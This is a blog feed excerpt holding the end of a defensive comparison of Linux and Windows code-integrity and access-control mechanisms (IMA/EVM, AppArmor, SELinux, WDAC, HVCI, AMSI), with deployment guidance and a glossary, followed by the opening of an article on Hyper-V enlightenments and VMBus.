&lt;li&gt;Whole-file SHA-256 on modern x86 with SHA-NI runs at roughly $2 \text{ GB/s}$ per core; SHA-512 at $\sim 1.4 \text{ GB/s}$. A 100 MB binary verifies in roughly $50 \text{ ms}$ worst-case and $0 \text{ ms}$ cached. RSA-2048 and Ed25519 signature verification both finish in well under a millisecond on modern hardware (tens to a few hundred microseconds depending on CPU and library); verify cost is not the bottleneck.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;So on the &lt;em&gt;crypto&lt;/em&gt; side the gap between upper and lower bounds is closed. On the &lt;em&gt;policy-expressiveness&lt;/em&gt; side there is no &quot;best&quot; policy because the right policy depends on threat model. There is no Pareto frontier; there are only trade-offs.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Bound&lt;/th&gt;
&lt;th&gt;What it says&lt;/th&gt;
&lt;th&gt;Mechanism that matches it&lt;/th&gt;
&lt;th&gt;Remaining gap&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;Rice&apos;s theorem&lt;/td&gt;
&lt;td&gt;&quot;Is this binary malicious?&quot; is undecidable&lt;/td&gt;
&lt;td&gt;Every CI stack is an allowlist + signer model&lt;/td&gt;
&lt;td&gt;Allowlist composition is itself a policy problem&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;In-process secret&lt;/td&gt;
&lt;td&gt;No purely-software defence inside the attacker&apos;s address space&lt;/td&gt;
&lt;td&gt;HVCI moves verifier to VTL1; EVM key in keyring sealed to TPM&lt;/td&gt;
&lt;td&gt;AMSI design violates this; the gap is structural&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Hash verification&lt;/td&gt;
&lt;td&gt;$\Omega(n)$ per full read; $O(\log n)$ per partial read&lt;/td&gt;
&lt;td&gt;fs-verity per page; IMA cached on &lt;code&gt;i_iversion&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;Cold-cache cost remains O(n) for non-fs-verity files&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;JIT and dynamic code&lt;/td&gt;
&lt;td&gt;No way to verify code that did not exist on disk&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;td&gt;Restricted-runtime modes (CLM, AppContainer) are the best partial answer&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Asymmetric verify&lt;/td&gt;
&lt;td&gt;About 60-300 us per RSA-2048 or Ed25519 verify on modern x86&lt;/td&gt;
&lt;td&gt;Authenticode catalogues amortise; IMA caches in inode&lt;/td&gt;
&lt;td&gt;Cold cache is the only sensitive case&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Crypto is closed. Policy expressiveness and trust-boundary protection are theoretically unsolvable in general. Every stack is an allowlist plus a trusted-signer model, never a malware detector. The wall is theoretical, not engineering.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;If the theory says we cannot win, what is research targeting in 2026?&lt;/p&gt;
&lt;h2&gt;9. Open frontiers&lt;/h2&gt;
&lt;p&gt;Three problems define the 2026 research front. All are being worked on upstream. None will dissolve the theoretical bounds of Section 8.&lt;/p&gt;
&lt;h3&gt;Linux integrity at distribution scale: the Integrity Digest Cache&lt;/h3&gt;
&lt;p&gt;IMA appraisal has a scale problem. On a general-purpose Linux distribution where every file is RPM-signed, asking IMA to verify a per-file &lt;code&gt;imasig&lt;/code&gt; signature on every &lt;code&gt;open&lt;/code&gt; is expensive.&lt;/p&gt;
&lt;p&gt;Roberto Sassu (Huawei Cloud) proposed a fix as the &lt;code&gt;digest_cache&lt;/code&gt; LSM in version 3 of the patchset, posted in February 2024 [@lore-kernel-org-1-robertosassuhuaweicloudcom] and covered on LWN [@lwn-net-articles-961591]. The v3 cover letter is concrete: &quot;Preliminary tests have shown a speedup of IMA appraisal of about 65% for sequential read, and 45% for parallel read.&quot; The design extracts pre-computed reference digests from vendor-signed digest lists (RPM headers, kernel TLV digest-list format, third-party formats via loadable parsers) and exposes a &lt;code&gt;digest_cache_lookup()&lt;/code&gt; primitive that integrity providers (IMA, IPE, BPF LSM) call instead of verifying per-file signatures.&lt;/p&gt;
&lt;p&gt;By v6 in November 2024 [@lore-kernel-org-1-robertosassuhuaweicloudcom-2] the work had been retitled &quot;Introduce the Integrity Digest Cache&quot; and pivoted from a standalone LSM into an integrity-subsystem helper, in response to maintainer feedback. The v6 cover letter quantifies the baseline the design attacks: IMA measurement &quot;introduces a noticeable overhead (up to 10x slower in a microbenchmark) on frequently used system calls, like the open().&quot; Discussion continues on the linux-integrity list [@lore-kernel-org-linux-integrity]; memory safety of the TLV parser was verified with the Frama-C [@frama-c-com] static analyser. As of late 2024 the work is not yet upstream.&lt;/p&gt;

Preliminary tests have shown a speedup of IMA appraisal of about 65% for sequential read, and 45% for parallel read. -- Roberto Sassu, digest_cache LSM v3 cover letter, February 2024
&lt;p&gt;The important framing correction: the Integrity Digest Cache is &lt;strong&gt;not&lt;/strong&gt; a Linux AMSI equivalent. AMSI is an interpreter-side scanner of the deobfuscated, about-to-execute script buffer. The Integrity Digest Cache is a file-content digest delivery mechanism that closes the same gap IMA already closes, but more efficiently and at distribution scale. The Linux script-content gap remains genuinely open.&lt;/p&gt;
&lt;h3&gt;Out-of-process AMSI broker&lt;/h3&gt;
&lt;p&gt;The conjectural fix on the Windows side is an out-of-process AMSI broker: every &lt;code&gt;AmsiScanBuffer&lt;/code&gt; call IPCs to a service running outside the script host&apos;s address space. The in-process bypass family disappears because the attacker is no longer in the same process as the scanner. The cost is a context switch and serialisation overhead per script eval.&lt;/p&gt;
&lt;p&gt;Microsoft has layered partial mitigations -- signed AMSI provider DLLs from 1903, ETW patch detection in Defender, Constrained Language Mode under App Control -- but no full out-of-process redesign exists. Whether it ever will is a function of how willing Microsoft is to pay the latency cost on hot PowerShell loops.&lt;/p&gt;
&lt;h3&gt;Cross-OS attestation&lt;/h3&gt;
&lt;p&gt;A verifier validating evidence from a mixed Linux + Windows fleet today must speak two languages at once. IMA&apos;s measurement-log format (&lt;code&gt;ima_template_fmt&lt;/code&gt;) and &lt;a href=&quot;https://paragmali.com/blog/measured-boot-the-tcg-event-log-from-srtm-to-pcr-bound-bitlo/&quot; rel=&quot;noopener&quot;&gt;Windows Measured Boot&lt;/a&gt;&apos;s WBCL [@trustedcomputinggroup-org-log-format] both target TPM PCRs but encode events differently.&lt;/p&gt;
&lt;p&gt;Confidential-computing efforts (Intel TDX, AMD SEV-SNP) are pushing toward a common report/quote primitive at the platform layer, and the TCG Canonical Event Log Format aims at a portable per-entry representation. Workload-level integrity proofs remain stack-specific. The two operating systems do not yet speak a common attestation language.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Problem&lt;/th&gt;
&lt;th&gt;Current best partial result&lt;/th&gt;
&lt;th&gt;Upstream status&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;IMA appraisal scale on RPM-signed distros&lt;/td&gt;
&lt;td&gt;Integrity Digest Cache, 45-65% appraisal speedup&lt;/td&gt;
&lt;td&gt;Patchset v6 (Nov 2024); not upstream&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AMSI in-process trust boundary&lt;/td&gt;
&lt;td&gt;Signed provider DLLs, ETW patch detection, CLM&lt;/td&gt;
&lt;td&gt;Partial; structural fix would be OOP broker&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Linux script-content scanning&lt;/td&gt;
&lt;td&gt;Nothing in production&lt;/td&gt;
&lt;td&gt;Open&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cross-OS attestation interop&lt;/td&gt;
&lt;td&gt;TCG CEL, TDX/SEV-SNP quotes&lt;/td&gt;
&lt;td&gt;Platform-layer; workload-level still split&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WDAC LOLBin treadmill&lt;/td&gt;
&lt;td&gt;Microsoft block list + LOLBAS + WDAC Wizard&lt;/td&gt;
&lt;td&gt;Operational; structural fix unknown&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;Each of these will probably ship in the 2026-2028 window. None of them dissolves the theoretical bounds of Section 8. The job for a defender in 2026 is therefore &lt;strong&gt;operational&lt;/strong&gt;, not technological.&lt;/p&gt;
&lt;h2&gt;10. Practitioner decision guide&lt;/h2&gt;
&lt;p&gt;Eight common deployment scenarios. Eight concrete answers.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;If you need...&lt;/th&gt;
&lt;th&gt;On Linux, use...&lt;/th&gt;
&lt;th&gt;On Windows, use...&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;TPM-backed remote attestation&lt;/td&gt;
&lt;td&gt;IMA + EVM (TPM PCR 10)&lt;/td&gt;
&lt;td&gt;Measured Boot + TPM PCR 11 + HVCI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block unsigned drivers&lt;/td&gt;
&lt;td&gt;&lt;code&gt;module.sig_enforce=1&lt;/code&gt; plus kernel module signing&lt;/td&gt;
&lt;td&gt;HVCI (Memory Integrity)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Cryptographic allowlist of installed software&lt;/td&gt;
&lt;td&gt;fapolicyd (RPM/DEB trust)&lt;/td&gt;
&lt;td&gt;App Control with Publisher rules&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Per-app sandbox&lt;/td&gt;
&lt;td&gt;AppArmor or SELinux&lt;/td&gt;
&lt;td&gt;AppContainer or App Control (no direct equivalent)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Catch in-memory PowerShell payloads&lt;/td&gt;
&lt;td&gt;(no direct equivalent)&lt;/td&gt;
&lt;td&gt;AMSI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Consumer-grade reputation gating&lt;/td&gt;
&lt;td&gt;(no direct equivalent)&lt;/td&gt;
&lt;td&gt;Smart App Control&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Immutable appliance image&lt;/td&gt;
&lt;td&gt;dm-verity + IPE&lt;/td&gt;
&lt;td&gt;App Control with hash rules + HVCI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Large APK-style assets verified lazily&lt;/td&gt;
&lt;td&gt;fs-verity&lt;/td&gt;
&lt;td&gt;(no direct equivalent)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The why behind each row.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;TPM-backed attestation.&lt;/strong&gt; On Linux, IMA&apos;s measurement mode extends file hashes into PCR 10 and ships the measurement log to a remote verifier (Keylime, Veraison). On Windows it means consuming the Measured Boot event log a Windows kernel emits while VBS+HVCI is enabled. Both stacks target the same root of trust (the TPM) but speak different event formats.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Blocking unsigned drivers.&lt;/strong&gt; Linux uses a built-in kernel module signing flag. Windows needs HVCI, because the kernel-mode CI check runs in VTL1 and any policy weakening attempted from VTL0 with SYSTEM cannot reach it.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Application allowlisting on general-purpose distributions.&lt;/strong&gt; This is fapolicyd&apos;s wheelhouse: it inherits trust from the RPM/DEB database, which is the only place a general-purpose distro has a clean &quot;trusted&quot; list. On Windows, App Control with publisher rules plus a managed-installer policy is the equivalent.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Per-app sandboxing.&lt;/strong&gt; Clean Linux story (AppArmor or SELinux per binary). On Windows it is the gap App Control was never quite designed to fill; &lt;a href=&quot;https://paragmali.com/blog/appcontainer-and-lowbox-tokens-windowss-capability-sandbox/&quot; rel=&quot;noopener&quot;&gt;AppContainer&lt;/a&gt; or Microsoft Defender Attack Surface Reduction rules are the substitutes.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;In-memory PowerShell payloads.&lt;/strong&gt; AMSI&apos;s use case. Linux has nothing equivalent in production.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Consumer reputation gating.&lt;/strong&gt; Smart App Control&apos;s use case. Linux distros have nothing equivalent because the distribution-package model already plays that role.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Immutable appliance images.&lt;/strong&gt; Dm-verity plus IPE on Linux. App Control hash rules plus HVCI on Windows.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Large lazy-loaded assets.&lt;/strong&gt; Fs-verity territory; Windows has no public equivalent.&lt;/p&gt;
&lt;h3&gt;Common implementation pitfalls&lt;/h3&gt;
&lt;p&gt;Distilled from the same shape: every stack has a default that surprises operators.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;IMA without EVM and without a TPM-sealed key is decorative.&lt;/strong&gt; Hashing files into an xattr the attacker can rewrite buys you nothing against offline access. EVM is mandatory; the EVM key must be sealed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;AppArmor profiles authored in &lt;em&gt;complain&lt;/em&gt; mode never get promoted to &lt;em&gt;enforce&lt;/em&gt;.&lt;/strong&gt; Schedule a config-management pass that runs &lt;code&gt;aa-enforce&lt;/code&gt; on the profiles you actually want to confine.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SELinux &lt;code&gt;setenforce 0&lt;/code&gt; for debugging that becomes permanent.&lt;/strong&gt; The &lt;code&gt;/.autorelabel&lt;/code&gt; flag is required after restoring contexts; track that you flipped it.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;fapolicyd permissive-mode lapses.&lt;/strong&gt; Set up alerting on &lt;code&gt;permissive=1&lt;/code&gt; in the runtime configuration; treat the daemon&apos;s exit status as a security event.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WDAC&apos;s &lt;code&gt;Enabled:Audit Mode&lt;/code&gt; policy-rule option is on by default.&lt;/strong&gt; Policies silently do not enforce until you remove it. Add a deployment check that asserts audit mode is &lt;em&gt;off&lt;/em&gt; before declaring rollout complete.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HVCI without a driver-compatibility check.&lt;/strong&gt; Microsoft&apos;s &lt;code&gt;DG_Readiness_Tool&lt;/code&gt; and the HVCI compatibility report belong in every pilot. Vendors that allocate RWX kernel pages will fail HVCI loading and leave the host unbootable.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Treating AMSI as a control.&lt;/strong&gt; It is telemetry. Budget for the bypass on day one.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Smart App Control disable is one-way.&lt;/strong&gt; A single mis-click ends the consumer reputation gate until the device is reset. Make sure the user understands this before they tap the toggle.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; On Linux: enable IMA in &lt;code&gt;measure&lt;/code&gt; mode before &lt;code&gt;appraise&lt;/code&gt;; deploy AppArmor / SELinux profiles in &lt;em&gt;complain&lt;/em&gt; / &lt;em&gt;permissive&lt;/em&gt; before &lt;em&gt;enforce&lt;/em&gt;; run fapolicyd with &lt;code&gt;permissive=1&lt;/code&gt; for the first deploy. On Windows: leave WDAC&apos;s &lt;code&gt;Enabled:Audit Mode&lt;/code&gt; set during the first rollout and use the event log to identify the policy gaps before flipping to enforced. Audit mode is the only safe way to discover that the policy is wrong before it locks you out of production.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; A bare IMA appraisal policy without an HMAC-keyed EVM (and without the key sealed to a TPM 2.0 PCR set) does not stop an offline attacker. If you do not have TPM-sealed key custody and signed-xattr xattrs, IMA appraisal is mostly a check-box. fapolicyd with &lt;code&gt;integrity=ima&lt;/code&gt; may be a saner starting point on machines without TPM.&lt;/p&gt;
&lt;/blockquote&gt;

Usually no, unless your distribution signs every system file (most do not for `imasig` in production) and you have a TPM-sealed EVM key. For general-purpose servers, fapolicyd with RPM-database trust is usually the right answer; it inherits trust from packages you already trust and does not require kernel-side signature infrastructure. Reserve IMA appraise for appliance / fixed-function builds, embedded distros, or fleets with a signed-package pipeline.

Path-based reasoning maps to how administrators think about confinement: &quot;this binary may read /etc/nginx, may write /var/log/nginx, may bind a network socket.&quot; SELinux&apos;s type-enforcement model is more expressive (it lets a single rule cover an entire class of objects across paths and bind mounts), but it requires the administrator to think in compiled-policy terms. Both are correct; pick the one whose mental model matches your team. The right answer on Ubuntu and SUSE is almost always AppArmor; the right answer on RHEL and Android is almost always SELinux.

No. Microsoft&apos;s block list [@learn-microsoft-com-bypass-appcontrol] grows whenever a new signed binary turns out to host an attacker-friendly evaluator. Treat WDAC as defence-in-depth, layered with HVCI and AMSI-as-telemetry, not as a single-point allowlist. The WDAC Wizard and AaronLocker projects automate keeping the deny set current; even with them, expect the deny set to evolve every quarter.

Yes. Enable it, but configure it as a telemetry source feeding Defender for Endpoint and any EDR pipeline you operate. The bypass family of Section 7 is real, but the un-bypassed case still catches the long tail of script-based attacks that do not bother defeating AMSI, and the bypass attempt itself is highly detectable (in-memory patch ETW events). Treat AMSI alerts as detective controls, not preventive controls.

On CPUs with Intel MBEC (Kaby Lake or newer) or AMD GMET (Zen 2 or newer) [@learn-microsoft-com-oem-vbs], the steady-state overhead is generally under 5 percent. On older CPUs that rely on the Restricted User Mode emulation path, kernel-bound workloads can see 10 to 20 percent regressions. Run your specific kernel-bound benchmarks on the actual hardware before enabling on a fleet with a mixed CPU generation; &quot;free&quot; is a Kaby Lake-and-newer claim.

Usually no. SAC auto-disables on enterprise-managed devices (Intune-enrolled, Azure AD-joined, or under Group Policy management) at the end of the 48-hour evaluation window unless the user explicitly opts in. The intended deployment model is that enterprises use full App Control with a managed-installer policy, not SAC. If SAC has already auto-disabled and you actually want it on, the only path to re-enable is a clean install of Windows. A Settings &amp;gt; Reset This PC does not bring it back.
&lt;p&gt;The two architectures answer the same question with different trade-offs. A practitioner in 2026 needs both maps, because the bypass that breaks the Linux side rarely looks like the bypass that breaks the Windows side, and the mitigation that fixes one is rarely the mitigation that fixes the other.&lt;/p&gt;
&lt;p&gt;What stays constant is the lesson the two lineages converged on over fifteen years: the trust boundary is the architecture. Move the verifier out of reach. Allowlist the producers. Treat the things that cannot be moved as telemetry, not as control. None of that closes Rice&apos;s wall, but all of it pushes the actual exploitable surface back another mile, on both operating systems.&lt;/p&gt;
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;linux-ima-apparmor-vs-wdac-amsi-code-integrity-lineages&quot; keyTerms={[
  { term: &quot;IMA&quot;, definition: &quot;Linux Integrity Measurement Architecture. Hashes files at LSM hook points; can measure (record into TPM PCR 10), appraise (block on mismatch), or audit.&quot; },
  { term: &quot;EVM&quot;, definition: &quot;Extended Verification Module. HMACs (or signs) the security xattrs IMA depends on, so an offline attacker who rewrites security.ima cannot also forge security.evm.&quot; },
  { term: &quot;AppArmor&quot;, definition: &quot;Path-based Linux MAC, merged to mainline in 2.6.36 (Oct 2010). Default on Ubuntu and SUSE. Profiles are loaded from user space and compiled to in-kernel DFAs.&quot; },
  { term: &quot;SELinux&quot;, definition: &quot;Label-based Linux MAC merged to mainline in 2.6.0 (Dec 2003). Default on RHEL, Fedora, Oracle Linux, Android. Type-enforcement on subject x object x class.&quot; },
  { term: &quot;fapolicyd&quot;, definition: &quot;Red Hat userspace allowlister sitting on the fanotify permission channel. Trust inherited from the RPM database; rules in /etc/fapolicyd/rules.d/.&quot; },
  { term: &quot;fs-verity&quot;, definition: &quot;Per-file Merkle-tree authenticity, Linux 5.4 (Nov 2019). O(log n) per-page verification; constant-time digest retrieval; supported on ext4, f2fs, btrfs.&quot; },
  { term: &quot;IPE&quot;, definition: &quot;Integrity Policy Enforcement, Linux 6.12 (Nov 2024). Property-based decisions: dm-verity root hash, fs-verity digest, initramfs origin. O(1) per access.&quot; },
  { term: &quot;WDAC / App Control&quot;, definition: &quot;Windows code-integrity policy mechanism, originally Device Guard (Windows 10 1507). Signed XML compiled to .p7b, evaluated at PE load. Renamed App Control for Business in 2024.&quot; },
  { term: &quot;HVCI / Memory Integrity&quot;, definition: &quot;Hypervisor-Protected Code Integrity. Kernel-mode CI check moved into VTL1 of Hyper-V, isolated from the VTL0 normal kernel. Same mechanism marketed under three names.&quot; },
  { term: &quot;AMSI&quot;, definition: &quot;Antimalware Scan Interface. In-process script-broker COM API (AmsiScanBuffer) called by PowerShell, WSH, VBA, MSHTA, UAC installer, .NET. Provider is Defender by default.&quot; },
  { term: &quot;Smart App Control&quot;, definition: &quot;Consumer-facing pre-baked WDAC policy shipped with Windows 11 22H2. 48-hour evaluation window, one-way disable, cloud reputation via the Intelligent Security Graph.&quot; },
  { term: &quot;LSM&quot;, definition: &quot;Linux Security Modules. Kernel framework merged Dec 2003 that hosts security modules at well-defined hook points. Hosts SELinux, AppArmor, IMA, EVM, IPE, BPF LSM, Landlock.&quot; },
  { term: &quot;MAC&quot;, definition: &quot;Mandatory Access Control. Kernel-enforced policy layer above DAC that no userspace privilege can override; the operator, not the file owner, sets policy.&quot; },
  { term: &quot;TPM PCR 10&quot;, definition: &quot;The TPM Platform Configuration Register IMA extends file-content hashes into. Monotonic, extendable as PCR_new = SHA256(PCR_old || hash); used as the anchor for remote attestation.&quot; },
  { term: &quot;Authenticode&quot;, definition: &quot;Microsoft&apos;s PE signing format. Anchors WDAC&apos;s Publisher, PcaCertificate, and LeafCertificate rule kinds; signed catalogues (.cat) provide pre-computed hashes for catalogued files.&quot; },
  { term: &quot;LOLBin&quot;, definition: &quot;Living-Off-the-Land Binary. A trusted binary, often vendor-signed, repurposed by attackers to bypass an allowlist (e.g. mshta.exe evaluating an HTA blob).&quot; },
  { term: &quot;Constrained Language Mode&quot;, definition: &quot;Reduced PowerShell language mode App Control forces with UMCI on. Blocks reflection, dynamic-type creation, and arbitrary .NET API calls; restricts evaluation surface.&quot; }
]} /&amp;gt;&lt;/p&gt;
</content:encoded><category>security</category><category>linux</category><category>windows</category><category>code-integrity</category><category>mandatory-access-control</category><category>ima</category><category>wdac</category><category>amsi</category><author>noreply@paragmali.com (Parag Mali)</author></item><item><title>Hyper-V Enlightenments, VMBus, and the Synthetic Device Model</title><link>https://paragmali.com/blog/hyper-v-enlightenments-vmbus-and-the-synthetic-device-model/</link><guid isPermaLink="true">https://paragmali.com/blog/hyper-v-enlightenments-vmbus-and-the-synthetic-device-model/</guid><description>How Hyper-V guests get high-performance device I/O without emulating legacy hardware: enlightenments, the TLFS, VMBus rings, the VSP/VSC pair, and why the host-side parser is the attack surface.</description><pubDate>Thu, 14 May 2026 00:00:00 GMT</pubDate><content:encoded>
Hyper-V&apos;s guest OSes do not see emulated 1990s hardware. They see a published, versioned hypervisor ABI called the **Top-Level Functional Specification**, a transport called **VMBus** that consists of two ring buffers per channel, and a catalogue of synthetic devices whose backends live in the privileged root partition. This design is what makes Windows and Linux equally fast inside Hyper-V, and it is also why the host-side parsers in `vmswitch.sys` keep producing critical CVEs. The 2024 OpenHCL paravisor moves those parsers into the guest&apos;s own trust boundary in memory-safe Rust, which is the most consequential change to the Hyper-V device model since 2008.
&lt;h2&gt;1. The Type-1 hypervisor foundation&lt;/h2&gt;
&lt;p&gt;Open &lt;code&gt;Task Manager&lt;/code&gt; on a modern Windows 11 desktop, switch to the &lt;code&gt;Performance&lt;/code&gt; tab, and look at the line that says &quot;Virtualization: Enabled.&quot; That single line hides one of the most consequential design choices in modern operating systems: when Microsoft shipped Hyper-V with Windows Server 2008 in June 2008 [@ms-hyperv-server-overview], they did not bolt a virtualization product on top of Windows. They put a small hypervisor &lt;em&gt;underneath&lt;/em&gt; it.&lt;/p&gt;
&lt;p&gt;That ordering matters more than it sounds. In the older Microsoft Virtual Server 2005 model, Windows ran on the bare metal and a user-mode service emulated PC hardware for guests inside it. In the Hyper-V architecture documented by Microsoft in 2008 [@ms-hyperv-architecture], the hypervisor boots first and Windows itself becomes a guest of the hypervisor. Microsoft calls this guest the &lt;strong&gt;root partition&lt;/strong&gt;. Every other VM on the box is a &lt;strong&gt;child partition&lt;/strong&gt;.&lt;/p&gt;

A hypervisor that runs directly on the physical hardware rather than inside a host operating system. Hyper-V, VMware ESXi, and Xen are Type-1; VirtualBox and the original Microsoft Virtual Server are Type-2 (hosted). In a Type-1 design no general-purpose OS sits between the hypervisor and the silicon, which lets the hypervisor enforce isolation directly using CPU virtualization extensions like Intel VT-x and AMD-V.
&lt;p&gt;The root partition is not just another VM. It is a privileged partition: it owns the physical I/O devices, runs the parent stack of synthetic-device backends, and brokers everything that touches real hardware. Children get virtual processors and a slice of memory, and they communicate with the root over a software bus called VMBus that we will spend most of this article taking apart.&lt;/p&gt;

flowchart TD
    HW[&quot;Physical hardware (CPU, RAM, NICs, NVMe)&quot;]
    HV[&quot;Hyper-V hypervisor (microkernel)&quot;]
    Root[&quot;Root partition (Windows Server)&quot;]
    VSP[&quot;Virtualization Service Providers (VSPs): vmswitch.sys, storvsp.sys, ...&quot;]
    C1[&quot;Child partition: Windows VM&quot;]
    C2[&quot;Child partition: Linux VM&quot;]
    VSC1[&quot;VSCs: netvsc, storvsc, ...&quot;]
    VSC2[&quot;VSCs: hv_netvsc, hv_storvsc, ...&quot;]
    HW --&amp;gt; HV
    HV --&amp;gt; Root
    HV --&amp;gt; C1
    HV --&amp;gt; C2
    Root --&amp;gt; VSP
    VSP -. &quot;VMBus channel&quot; .-&amp;gt; VSC1
    VSP -. &quot;VMBus channel&quot; .-&amp;gt; VSC2
    C1 --&amp;gt; VSC1
    C2 --&amp;gt; VSC2
&lt;p&gt;The hypervisor itself is small by design. The Hyper-V architecture page on Microsoft Learn [@ms-hyperv-architecture-perf] describes it as a microkernel: it does the minimum a hypervisor must do (CPU scheduling, memory partitioning, interrupt routing, an inter-partition message bus) and pushes everything else, including the device models, out to the root partition. This is the opposite of the early VMware ESX design, where the hypervisor itself contained large device drivers.The microkernel choice was pragmatic, not ideological. A monolithic hypervisor with built-in NIC and storage drivers would have been a catastrophic certification problem: every NIC firmware update would risk a hypervisor patch. By delegating I/O to the Windows root partition, Microsoft re-used the entire Windows driver stack.&lt;/p&gt;
&lt;p&gt;The split also explains why Hyper-V &quot;feels Windows-shaped&quot; even though it is technically not Windows. The root partition is Windows, with all of its drivers, its WMI, its event log, its &lt;code&gt;Get-VM&lt;/code&gt; PowerShell cmdlets. The hypervisor underneath is a small, separate binary (&lt;code&gt;hvix64.exe&lt;/code&gt; on Intel, &lt;code&gt;hvax64.exe&lt;/code&gt; on AMD) that you almost never have a reason to think about. Microsoft itself goes further: in the same architecture document, it stresses that all device-model traffic flows through the root: &quot;the management operating system hosts virtual service providers (VSPs) that communicate over the VMBus to handle device access requests from child partitions&quot; (Microsoft Learn: Overview of Hyper-V [@ms-overview-hyper-v]).&lt;/p&gt;
&lt;p&gt;This sets up the question the rest of the article answers: if the hypervisor is small, the guest is unmodified Windows or Linux, and the root partition owns the real devices, then how does a guest actually do disk and network I/O at gigabit-or-better speeds without paying enormous costs to traverse all of these boundaries?&lt;/p&gt;
&lt;p&gt;The short answer is in three pieces: &lt;strong&gt;enlightenments&lt;/strong&gt; (the guest knows it is virtualized and uses hypercalls), &lt;strong&gt;VMBus&lt;/strong&gt; (the inter-partition transport), and the &lt;strong&gt;VSP/VSC pair&lt;/strong&gt; (split drivers that share memory through VMBus rings). The next section starts with the first of those three.&lt;/p&gt;
&lt;h2&gt;2. Enlightenments: what &quot;knowing you are virtualized&quot; buys you&lt;/h2&gt;
&lt;p&gt;In the early 2000s, the dominant intuition was that a hypervisor&apos;s job is to fool the guest. A perfectly faithful emulation of an Intel 440BX motherboard, a DEC 21140 NIC, and an IDE controller is what made VMware Workstation a useful product in 1999. It is also what made Microsoft Virtual Server 2005 too slow to saturate gigabit links: every &lt;code&gt;out&lt;/code&gt; instruction on a fake NIC port trapped to the hypervisor, was decoded against an in-memory chip model, and produced a synthetic interrupt that itself trapped on the way out. The Microsoft Virtual Server retrospective on Wikipedia [@wikipedia-virtual-server] notes that the architecture had no paravirtualization support and that performance was constrained relative to later hardware-assisted designs.&lt;/p&gt;
&lt;p&gt;Hyper-V&apos;s answer was to drop the pretence. If the guest &lt;em&gt;knows&lt;/em&gt; it is in a VM, it can use a fast path designed for VMs instead of pretending to drive imaginary chips. Microsoft calls this knowledge an &lt;strong&gt;enlightenment&lt;/strong&gt;, and the Hyper-V feature discovery page [@ms-tlfs-feature-discovery] is the contract a guest uses to learn what enlightenments the hypervisor offers.&lt;/p&gt;

A modification or feature in a guest operating system that takes advantage of running under a specific hypervisor. An enlightened guest detects the hypervisor (on x86, by reading the `cpuid` leaves at `0x40000000` and above), then opts in to using paravirtual interfaces (hypercalls, synthetic timers, synthetic interrupt controllers, shared TSC pages) instead of trapping on emulated hardware. An unmodified guest would still boot, but slower.
